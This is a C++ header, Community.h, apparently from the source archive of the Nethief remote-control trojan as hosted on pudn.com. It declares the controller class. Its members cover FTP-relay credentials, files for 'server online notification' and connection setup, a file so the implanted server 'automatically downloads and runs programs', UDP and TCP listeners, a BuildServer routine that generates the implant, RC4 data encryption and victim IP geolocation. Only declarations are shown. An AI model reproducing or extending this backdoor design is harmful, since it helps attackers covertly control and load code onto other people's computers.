www.pudn.com > Nethief.rar > Community.h


// Community.h: interface for the CCommunity class. 
// 
////////////////////////////////////////////////////////////////////// 
 
#if !defined(AFX_COMMUNITY_H__C13CA113_E018_11D4_89D9_F84105C10000__INCLUDED_) 
#define AFX_COMMUNITY_H__C13CA113_E018_11D4_89D9_F84105C10000__INCLUDED_ 
 
#if _MSC_VER >= 1000 
#pragma once 
#endif // _MSC_VER >= 1000 
 
#include  
#include "IPToLocal.h"      //包含找对方地址的类 
#include  
//************************************* 
#pragma pack(1) //字节对齐 
 
typedef struct 
{ 
	CListCtrl*	pList; 
	int			nSubItem; 
	BOOL		bAscending; 
} 
SORT_ITEMS,*pSORT_ITEMS; 
 
typedef struct rc4_key 
{ 
	unsigned char state[256]; 
	unsigned char x; 
	unsigned char y; 
} rc4_key; 
 
#pragma pack()	//使用缺省对齐 
 
#define swap_byte(x,y) t = *(x); *(x) = *(y); *(y) = t 
//************************************* 
class CCommunity   
{ 
public: 
	CCommunity(); 
	virtual ~CCommunity(); 
 
public: 
	//***************************************************************** 
	////////////////////////成员变量///////////////////////////// 
	BOOL				m_bIsRegistered;	//客户端是否已经注册 
 
	CString				m_strFtpServerAddress;	//FTP服务器的域名或IP地址 
	CString				m_strFtpUsername;		//主页空间的用户名 
	CString				m_strFtpPassword;		//主页空间的密码 
	CString				m_strHomepage;			//主页空间的网址 
	CString				m_strFileSavePath;		//FTP服务器上存放数据文件的目录 
	CString				m_strNotifyFilename;	//用于实现服务端上线通知的主页空间临时文件 
	CString				m_strConnectFilename;	//用于与服务端建立连接的主页空间临时文件 
	CString				m_strClientFilename;	//用于保持FTP登录状态的主页空间临时文件 
	CString				m_strDownloadFilename;	//用于服务端自动下载并运行程序 
	CString				m_strDataPassword;		//数据加密密钥 
 
	BYTE				m_byCheckSum_NotifyPack[16];//服务端上线通知包的MD5校验和 
 
	int					m_nSubItem;			//列表排列方式 
	BOOL				m_bAscending;		//排列顺序 
 
	CString				m_strHostName;	//客户端的用户名 
	CString				m_strIPAddr;	//客户端的IP地址 
	CString				m_strPosition;	//客户端的地理位置 
	int					m_nOnlineNum;	//在线数 
 
	CInternetSession	m_Session;		//Internet会话 
	CFtpConnection*		m_pFtpConn;		//FTP连接 
 
	SOCKET				m_hNotifySocket;	//UDP上线通知,Listening UDP 60000 
	SOCKET				m_hListenSocket;	//TCP上线通知,Listening TCP 60001 
 
	CCriticalSection	m_CriticalSection;//临界段 
	CCriticalSection	m_CriticalSection_List;//临界段 
	////////////////////////成员函数///////////////////////////// 
	void	SetFtpServerInfo(int nControlCode, 
				CString strAddress,CString strUsername,CString strPassword,CString strHomepage, 
				CString strPath,CString strNotifyFilename,CString strConnectFilename,CString strClientFilename, 
				CString strDownloadFilename, 
				CString strDataPassword); 
	BOOL	IsOnline(); 
	BOOL	BuildServer(CString strKeyName,CString strFilename,CString strNote,CString strServerFilename); 
	int		ConnectFtpServer(CWnd* pWnd); 
	BOOL	KeepFtpSession(); 
	BOOL	RecvNotify(SOCKET hSocket,CListCtrl* pList,CMapStringToString* pHostRemarkMap); 
	BOOL	AcceptTcpConnect(CWnd* pWnd); 
	BOOL	ListRefresh(CListCtrl* pList); 
	BOOL	GetCallboardText(CEdit* pEdit_Callboard); 
	int		RefreshChatroom(); 
	void 	SortItems(CListCtrl* pList,int nSubItem); 
	void	GetNewVersionDateInfo(CString* strNewVersion,CString* strNewDate); 
	void	LogonCurrentSetting(); 
	CString	GetBindIP(); 
 
	BOOL	NotifyClientConnect(CString strClientName); 
	int		HomepageTest(CEdit* pEdit_Test); 
	BOOL	UpdateDownloadSetting(CString strURL,CString strFilename); 
	//***************************************************************** 
private: 
	//***************************************************************** 
	////////////////////////成员变量///////////////////////////// 
	CIPToLocal	m_IPToLocal;  //找用户地址的类 
	char		m_cHostname[128]; 
	////////////////////////成员函数///////////////////////////// 
	void		CStringToChar(char* cText,CString strText); 
	CString		CharToCString(char* cText,UINT nSize); 
	CString		RegReadValue(HKEY hKey,CString sKey,CString sChildKey); 
	void		prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key); 
	void		rc4(unsigned char *buffer_ptr, DWORD buffer_len, rc4_key *key); 
	void		EncryptData(LPVOID pVoid,DWORD dwBufLen,CString strKey); 
	CString		GetCurDir(); 
	int			GetINIfileInt(LPCTSTR lpSectionName,  //从INI中读取整型值 
					LPCTSTR lpKeyName); 
	BOOL		WriteINIfileInt(LPCTSTR lpSectionName, //向INI中写入整型值 
					LPCTSTR lpKeyName,INT nValue); 
	CString		GetINIfileString(LPCTSTR lpSectionName, //从INI中读取字符值 
					LPCTSTR lpKeyName); 
	BOOL		WriteINIfileString(LPCTSTR lpSectionName,  //向INI中写入字符值 
					LPCTSTR lpKeyName,LPCTSTR lpString); 
	static int	CALLBACK CompareFunc(LPARAM lParam1, LPARAM lParam2,LPARAM lParamSort); 
	void		ShowSelectIPDialog(); 
	void		ShowEditText(CEdit* pEdit_Test,CString strText); 
	//***************************************************************** 
}; 
 
#endif // !defined(AFX_COMMUNITY_H__C13CA113_E018_11D4_89D9_F84105C10000__INCLUDED_)